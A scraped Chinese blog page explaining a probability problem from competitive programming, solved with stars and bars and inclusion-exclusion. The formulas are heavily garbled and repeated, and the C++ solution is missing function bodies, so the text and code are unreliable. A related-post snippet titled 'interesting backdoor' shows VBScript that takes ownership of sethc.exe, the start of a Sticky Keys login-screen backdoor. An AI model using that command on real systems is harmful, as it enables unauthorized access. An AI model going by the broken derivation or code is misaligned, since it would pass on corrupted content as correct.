n
nn個區間,第i
ii個區間在[0,
ri
][0,r_i]
[0,ri
]任意選出乙個數
問最後∑xi
<=s
um
n\sum x_i<=sumn
∑xi
<=s
umn的概率.
最後取出的總和是∑i=
1nxi
<=s
um
\sum\limits_^x_i<=sum
i=1∑n
xi<=s
um變形一下得到∑i=
1nxi
+k=s
um
\sum\limits_^x_i +k=sum
i=1∑n
xi+
k=su
m 那麼就有n+1
n+1n+
1個大於等於零的未知數
其實就是把sum
sumsu
m個數字分配到n+1
n+1n+
1個變數去
使用隔板法,sum
sumsu
m個數字形成了sum
−1
sum-1
sum−
1個空隙
把n
nn個隔板插入的方案就是csu
m−1n
c_^cs
um−1
n但是每個組內部可以為空,所以先多出n+1
n+1n+
1個球放進在每組乙個
所以方案是csu
m−1+
n+1n
=csu
m+nn
c_^=c_^
csum−1
+n+1
n=c
sum+
nn但每個
變數其實
最多放r
i個球,
所以需要
容斥原理
\color但每個變數其實最多放r_i個球,所以需要容斥原理
但每個變數其
實最多放
ri個
球,所以
需要容斥
原理具體做法是,對於乙個未知數有合法不合法兩種狀態
假如讓他不合法,那麼就先拿r
ir_i
ri個數字分配下去
這樣就可以開始容斥原理,奇加偶減.
下面是簡略版,沒有取模和逆元.
#include
using
namespace std;
#define int long long
const
int maxn =
2e5+10;
const
int mod =
1e9+7;
int r[maxn]
,fac[maxn]
;int n,m,sumn,ans;
intquick_pow
(int x,
int n)
return ans;
}intc(
int n,
int m)
void
dfs(
int u,
int f,
int he)
dfs(u+
1,f,he)
;dfs
(u+1
,-f,he-r[u]);
}signed
main()
有意思的話
1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...